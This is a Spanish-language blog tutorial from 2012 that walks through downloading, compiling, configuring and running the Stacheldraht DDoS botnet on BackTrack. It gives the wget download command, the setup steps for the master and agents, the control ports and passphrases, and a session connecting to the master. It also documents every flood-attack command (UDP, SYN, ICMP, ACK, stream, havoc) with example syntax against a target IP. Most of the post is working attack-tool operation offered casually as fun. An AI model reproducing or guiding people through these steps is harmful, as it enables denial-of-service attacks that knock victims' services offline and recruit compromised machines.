martes, 18 de septiembre de 2012

BoTneT - STACHELDRAHT



STACHELDRAHT

El nombre de esta herramienta es de aleman y signica "alambre de espinas". He escogido analisas esta herramienta porque combina caracteristicas tanto de TRINOO como de TFN , y adiciona un mecanismo de cifrado en la interaccion por parte del cliente y el conductor , y no solamente eso ,tambien tienen los recursos necesarios para realizar una actualización automatica por parte parte de los agentes.

Ahora nos toca analisar la arquitectura y jerarquia de esta botnet.



Stacheldraht está compuesto por 3 estructuras básicas, las cuales son :

•   Atacante (Client)

El cliente (Client) es un programa parecido a Telnet llamado en Stacheldraht "Client.c", que Cifra los datos en sus conexiones mediante el Algoritmo de cifrado simétrico Blowfish.

El Cliente es el programa utilizado por el Atacante para conectarse y comunicarse con los Masters de Agentes (Handlers), y se encuentra dentro del directorio "telnetc".



•   Master (Handler)

 Es un programa controlado por el Cliente, que tiene la capacidad de controlar 1 ó más Agentes Instalados en servidores zombie, en Stacheldraht es llamado "mserv.c" y la ventaja es que no se encuentra dentro de ningún directorio, está "Suelto".

Antes de Instalar un Master en un servidor, éste debe ser previamente configurado para establecer la contraseña que deberá introducir el Cliente (Atacante) para poder conectarse y comunicarse con él, a través de un programa llamado "Setup", el cuál se encuentra "Suelto" en el mismo directorio que el Master (mserv.c). La contraseña por defecto del Master en el Stacheldraht original (existen muchas versiones de Stacheldraht ) es "Sicken".

En el código del programa del Master hay un límite para Agentes, el cuál es de un máximo de 1000, la verdad no tengo ni idea porque el hacker pueso este limite, pero en el código dice claramente que sólo "1000 sockets(entradas) son permitidos".

Se puede decir que un Master es “El punto de encuentro” entre el cliente y los Agentes, ya que éstos al ser instalados se conectan directamente a los Masters para esperar órdenes del Cliente, y el Cliente se conecta a los Masters para darle órdenes a los Agentes. ( espero que hayan entendido..xD )

•   Agente (Slaves)

Es un programa que es controlado directamente por los Masters de Agentes (Slaves), y es el programa el cuál al ser instalado en algún servidor, lo compromete y lo conecta directamente con el Master, dándole el control total y absoluto al Atacante y convirtiéndose en un zombie más para nuestra botnet.

(No olviden que la botnet va ser mas potente y mas eficaz cuando se tiene mas Agentes).

El Agente es llamado en Stacheldraht "td.c" y se encuentra dentro de la carpeta "Client", antes de instalar un Agente (td.c), este tiene que ser previamente configurado para indicársele las direcciones IP de los Masters a los cuales deberá conectarse una vez que haya sido instalado en alguna máquina, para esto se utiliza el programa "Setup", el cual se encuentra en su mismo directorio "Client.".

Cada Agente (td.c) tiene capacidad para conectarse a 2 Masters, no más, esto es por precaución, ya que el Agente puede desvincularse de un Master, pero aun estaria en nuestra botnet por su conexión con nuestro segundo Master.


Luego de analisar cada estructura de Stacheldraht ,vamos a ver como se comunican cada una de ellas.

•   La comunicación entre el Atacante (Client) y el Master (Handler) es establecida por el puerto 16660 TCP.

•   La comunicación entre el Master (Handler) y los Agentes (Slaves) se establece por el puerto 65000 TCP, e ICMP ECHO_REPLY (Ping).

Bueno creo que con esto es suficiente para que podamos instalar nuestro Stacheldraht. Por mi parte lo voy a instalar en mi Backtrack5r3, pues comenzemos...=)

Bactrack5R3 -  Stacheldraht

 Primero abrimos una terminal y digitamos lo siguiente.

~# cd Desktop

Creamos una carpeta

~/Desktop# mkdir stachel

Ahora entramos a la carpeta

 ~/Desktop# cd stachel

Procedemos a descargar Stacheldraht

~/stachel # wget http://packetstormsecurity.org/distributed/stachelantigl.tar.gz


 Solo nos faltaria descomprimir el archivo

~/stachel #tar -xvf stachelantigl.tar.gz

Y listo...ahora vamos a ver que archivos tienen la carpeta stachel.


~/stachel # ls

Makefile         bf_tab.h           client/             setup.c                        tubby.h
README       blowfish.c       config.h          stachelantigl.tar.gz
TODO             blowfish.h        mserv.c          telnetc/


La carpeta client/ aloja el Agente y telnetc/ es donde se aloja el Cliente (Atacante).Todos los demas archivos le pertenecen al Master. Ahora debemos compilar el Master (mserv.c), hay que recordar que se encuentra "suelto" en el directorio.


~/Stachel # make
   gcc -lcrypt setup.c -o setup
  ./setup
  -Pre-Compilation-----------------
  enter the passphrase : Ingresamos una contraseña
  ---------------------------------
  Generated CRYPT-PW: zALTRSjORHw2E
  pw.h created.................................................
  gcc -lcrypt mserv.c blowfish.c -06 -o mserv


Un vez compilado , ahora debemos configurarlo para indicar nuestra contraseña de ingreso.

~/Stachel # ./setup
  -Pre-Compilation----------------
  enter the passphrase : Tu contraseña
  --------------------------------
  Generated CRYPT-PW: zACnujDJWU54M
  pw.h created................................................


 Mi contraseña en esta caso va ser Th0r . Ahora nos toca correrlo.


~/Stachel # ./mserv
       #-stacheldraht-
       #-forking in the background........................
 0 bcasts were sucessfully read in........................


 Detecto 0 Agentes (bcast) ....=(  ,esto es obvio, ya que no hemos instalado ningún Agente para que se conecte a nuestro Master.

Hasta el momento todo esta bien....ahora nos falta hacer correr el Agente. Para eso abrimos la carpeta client/.

 ~/Stachel # cd client

Una vez abierto la carpeta , la hacemos correr.


~/client # make
 ./setup
 -Pre-Compilation--------------------
 enter the master host 1 : 127.0.0.1
 enter the master host 2 : 0
 -----------------------------------------
 mhosts.h created............................


Como ustedes observar he colocado la loopback como IP del Master en el agente, sólo para hacerlo correr, de otro modo nos daría error, ahora, una vez que termina de correr, lo configuramos con las verdaderas IP’s de los Masters.

~/client # ./setup
  -Pre-Compilation----------------------------
  enter the master host 1 : IP del Master 1
  enter the master host 2 : IP del Master 2
  -------------------------------------------------
  mhosts.h created..

Como ya habia mencionado el Agente nos da la posibilidad de conectarse a 2 Masters, si sólo quieres usar uno ,digitas “0” en el 2 campo, y listo. Ahora ya está compilado y configurado, solo nos faltaria arrancar el agente en nuestra máquina par que explote...xD no nada....=D


 ~/Client # ./td

Listo, como te habrás dado cuenta, el Agente al instalarse no da ningún tipo de aviso, ¿Y cómo cara...j..os...sabremos si se instaló satisfactoriamente? Pues, recuerda que al instalarse automaticamente se conecta con el Master, así que comprobemoslo. Salgamos del directorio del Agente:

 ~/Client # cd ..
Ahora, estamos en el directorio stachel, donde se encuentra nuestro Master, es hora de que  verifiquemos que el Agente se ha instalado correctamente, arrancamos el Master y éste debería detectarlo como conectado a él.

 ~/stachel # ./mserv
             #-stacheldraht-
             #- forking in the background...........
1 bcasts were sucessfully read in.................

Ahora vemos que nuestro Master ha detectado un zombie.....=O (1 bcasts were sucessfully read in.), lo que nos indica, que el Agente se instaló y cumplió su trabajo (conectarse al Master para esperar órdenes de ataque por parte del Cliente), ahora necesitamos ir a compilar al Cliente, para ir a su directorio escribamos lo siguiente.

~/Stachel # cd telnetc

Una vez dentro del directorio donde se encuentra nuestro Cliente, vamos a correrlo.

 ~/telnetc # make
  gcc -lcrypt client.c blowfish.c -o client


 Listooooo  =D , ya hemos hecho correr  nuestras 3 partes de Stacheldraht  y estan correctamente funcionando, es hora de conectarnos al Master con nuestro Cliente, recuerden que éste solo acepta un parámetro como válido, y es la dirección IP del Master al que deberá conectarse,  una vez conectados con el Master, debemos autentificarnos con la contraseña con que lo hemos configurado, para poder manipular a los Agentes, veamos qué ocurre cuando introducimos una contraseña errónea.


 ~/telnetc # ./client 127.0.0.1
      #stacheldraht
      #
 (c) in 1999 by randomizer
 trying to connect...
 connection established.
 -----------------------------
 enter the passphrase : antisec
 -----------------------------
 authentication failed.
 connection closed.


Vemos que la conexión con el Master se estableció, pero el Cliente, al no introducir la contraseña correcta para el Master, éste no valida su autentificación y lo rechaza. Ahora veamos qué sucede si introducimos la contraseña correcta.


~/telnetc # ./client 127.0.0.1
               #stacheldraht
              #
 (c) in 1999 by Randomizer
 trying to connect...
 connection established.
 --------------------------------------
 enter the passphrase : Th0r
 --------------------------------------
 entering interactive session.
 ****************************** welcome to stacheldraht
 ******************************
 type .help if you are lame
 stacheldraht(status: a!1 d!0)>


 =O ....=O  ¡Yeahhh ! ¡¡¡Estamos en el Master de Stacheldraht!!! ¡¡Seeeeeeeeeeeeee!!


Por cierto me olvide decirles que al ingresar la contraseña , la ingresamos a ciegas, no vamos a ver que escribimos, asi que tengan cuidado con lo que estan digitando, no vaya a explotar su pc...xD

Tambien por ahi les va a salir  algo que dice "Status" , pues ese es el estatus de los zombies que pertenen a ese Master. Si no entienden se los explico.

"a!" significa Alive (Vivo), y nos indica la cantidad de maquinas zombies vivos, en mi caso 1 , sólo  1 zombie vivo en ese Master.

"d!" significa Dead (Muerto), y nos indica la cantidad de maquinas zombies muertos, en mi caso 0, ninguno.

 Tambien nos va a salir la  type .help if you are lamer , bueno como somos lamers vamos a digitarlo.....xD


 ~/stacheldraht(status: a!0 d!0)>.help
 available commands in this version are:
 --------------------------------------------------
 .mtimer    .mudp   .micmp   .msyn  .mack  .mnul  .msort
 .mstream   .mhavoc .mrandom .mip   .mfdns
 .showalive .madd   .mlist   .msadd .msrem .help
 .setusize .setisize .mdie  .sprange .mstop  .killall
 .showdead .forceit  .left
 --------------------------------------------------
 stacheldraht(status: a!1 d!0)>


Y nos vamos a dar cuenta que nos infectamos con millones de virus....xDDDDDD...nahh.
Esta opción es para que muestre mas comandos de ataque. Pero ustedes diran que carajos significan cada uno de esas mier...d..a...s..xDDD.....no te preocupes yo te ayudo, te voy a explicar para que sirve cada comando...=)


.mtimer:  Especifica la duración del Ataque en segundos, y Stacheldraht tiene un límite de 2147483647 segundos...que serían como... 596 horas, su sintaxis es ".mtimer segundos" por ejemplo, para que el ataque dure 2 minutos, escribimos ".mtimer 120".

.mstream:  Especifica un tipo de ataque flood STREAM, su sintaxis es ".mstream dirección IP" por ejemplo: ".mstream 200.30.67.4".

.showalive:  Muestra los zombies con vida, no tiene sintaxis, sólo te teclea.

.setusize:  Especifica el tamaño de los paquetes UDP a enviar en el ataque, el límite de tamaño es de 1024 bytes y su sintaxis es ".setusize tamaño",el tamaño por defecto del paquete es de 1024 bytes. Ejemplo: ".setusize 1000", acá el tamaño de los paquetes UDP a enviar será de 1000 bytes.

.showdead:  Muestra los zombies muertos, y no tiene sintaxis, sólo se teclea.

.mudp:  Especifica un ataque de UDP Flood y su sintaxis es ".mudp Dirección IP".

.mhavoc:  Especifica un ataque de HAVOC Flood y su sintaxis es ".mhavoc Dirección IP".

.madd:  Agrega más víctimas a la lista de ataque de Stacheldraht, su sintaxis es ".madd Dirección IP".

.setisize:  Especifica el tamaño de los paquetes ICMP a enviar en el ataque, el límite de tamaño es de 1024 bytes y su sintaxis es ".setisize tamaño", el tamaño por defecto del paquete es de 1024 bytes.

.Forceit:   Permite detener el ataque "por la fuerza" con el comando ".mstop" sin importar si los agentes están Atacamdo ó no, por defecto está desactivado y su sintaxis es ".forceit on" para Activarlo ó ".forceit off" para desactivarlo.

.micmp:  Especifica un ataque de ICMP flood, su sintaxis es ".micmp Dirección IP".

.mrandom:  Establece un Rango de puertos TCP para atacar, su sintaxis es “.mranrom puerto menor-muerto mayor” Ejemplo: ".mrandom 10-20".

.mlist:  Muestra una lista con las direcciones IP de las víctimas actuales, no tiene sintaxis, sólo se teclea.

.mdie:  Está deshabilitado en la version Stacheldraht 1.666, era usado para detener a todos los agentes, por razones de seguridad fue removido, ya que alguien podía detectar la presencia de los Agentes y detenerlos.

.left:  Muestra cuanto tiempo falta para que culmine el Ataque, útil una vez que hemos usado ".mtimer".

.msyn:  Especifica un ataque TCP Syn Flood, su sintaxis es ".msyn Dirección IP".

.mip:  Especifíca una dirección IP principal para el ataque, su sintaxis es ".mip Dirección IP".

.msadd:  Agrega la Dirección IP del Master a algún agente, su sintaxis es ".msadd Dirección IP del Agente".

.sprange:  Especifica el puerto TCP Mayor y menor para el ataque Syn flooding, su sintaxis es ".sprange Puerto Menor-Puerto Mayor".

.mack:  Especifica un ataque de TCP ACK Flood, su sintaxis es ".mack Dirección IP".

.mfdns:  Direcciona todos los ataques al puerto 53 (DNS), pero no se incluye en ésta versión.

.msrem:  Quita la dirección IP de los agentes.

.mstop:   Detiene el ataque a la dirección IP de la víctima que se le indique, si se le indica el parámetro "all" detiene el ataque hacia todas las víctimas.

.mnul:  Especifica un ataque Null flood, su sintaxis es ".mnul Dirección IP".

.help:  Muestra los comandos de Ayuda.

.killall:  Termina todos los procesos hijos del Master(No mata a los Agentes).

.msort:  Bota y borra los Agentes muertos de la lista de zombies.




                                                                BOTNET         THOR


Bueno creo que ya llegamos al final de este post, estuvo bien divertido, espero que me entiendan, bueno sin mas que decir me despido y espero no infecten ninguna pc..xDDDDDDDD ........................
Nos vemos.....=)











2 comentarios:

  1. buenisimo, no he pillado algunos pasos pero bueno lo revisare. Pero esto, q finalidad tiene? el programa este claro...

    ResponderEliminar